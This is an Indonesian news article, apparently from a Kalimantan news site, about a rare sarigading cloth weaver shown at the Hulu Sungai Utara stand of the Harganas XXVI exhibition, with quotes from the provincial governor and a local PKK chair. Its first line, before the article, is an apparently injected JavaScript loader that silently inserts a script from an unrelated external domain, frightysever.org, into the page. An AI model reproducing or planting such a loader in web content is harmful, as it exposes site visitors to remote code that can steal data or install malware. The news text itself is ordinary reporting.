(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Ada yang unik dan menarik di stand Kabupaten Hulu Sungai Utara (HSU) pada perhelatan Pameran dan Gelar Dagang dalam rangkaian Harganas XXVI, jika biasanya hanya memajang berbagai hasil kerajinan lokal dan panaganan, kini HSU menghadirkan penenun tradisional kain sarigading. Kain Sarigading merupakan kain khas Kalsel yang terbilang langka.
Hal tersebut tentunya mendapat perhatian khusus dari Gubernur Sahbirin Noor saat menyambangi stand pameran Kabupaten HSU, Kamis (4/7) di area Perkantoran Pemprov Kalsel. Sahbirin mengaku sangat bangga dapat menemui penenun kain sarigading yang masih ada, hal ini dikarenakan kabupaten HSU tetap memegang teguh adat istiadat serta melestarikan kebudayaan serta kearifan lokal dan dirinya langsung melihat proses penenunan.
“Alhamdulillah HSU terus memperhatikan budaya dan kearifan lokal seperti penenun kain sarigading ini. Sudah sangat langka sekali dan juga mungkin anak muda zaman sekarang tidak tahu akan khasiat dari kain ini. Kalau zaman dulu, kain ini berfungsi sebagai pengobatan seperti sakit kepala tinggal di ikat ke kepala, atau sakit di bagian mana juga bisa menyembuhkan. Seperti terapi, saya sangat bangga sekali,” ujar Paman Birin.
Sementara itu, Ketua TP PKK HSU Hj Anisah Rasyidah Wahid mengatakan, stand HSU sengaja ingin memberikan kesan tersendiri di mata para pengunjung. Disamping memajang hasil produksi kerajinan seperti tas yang terbuat dari Lupu, Enceng Gondok, Bamban, Purun dan sebagainya, serta berbagai macam kuliner olahan pangan lokal.
“Kita memang sengaja ingin membuat kejutan,biasanyakan untuk stand kita selalu penuh dengan pengunjung yang ingin mencicipi kuliner dan olahan pangan lokal, juga tertarik dengan hasil kerajinan. Nah saat ini Harganas kita tambah lagi satu untuk dipamerkan yakni penenun kain sarigading, yang mana mungkin orang saat ini banyak yang tidak tau apa itu kain sarigading, tapi kalau orang tua pasti tau semua,” tutur Anisah.
Dirinya mengaku, untuk pengrajin penenun sarigading ini sudah sangat sedikit di Kabupaten HSU. Hanya sekitar 7 orang saja pun keterampilan menenun ini diturunkan secara turun-temurun. “Kita memang sengaja membawa penenun asli beserta 2 orang anaknya untuk ditampilkan. Untuk penenun ini asli dari kabupaten HSU, yakni dari wilayah Kecamatan Sungai Tabukan. Saat ini memang sudah sangat langka penenun, tertinggal sekitar 7 orang saja di HSU dan juga keterampilan ini adalah turun temurun,†tandasnya.(dew)
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More
KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More
KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More
This website uses cookies.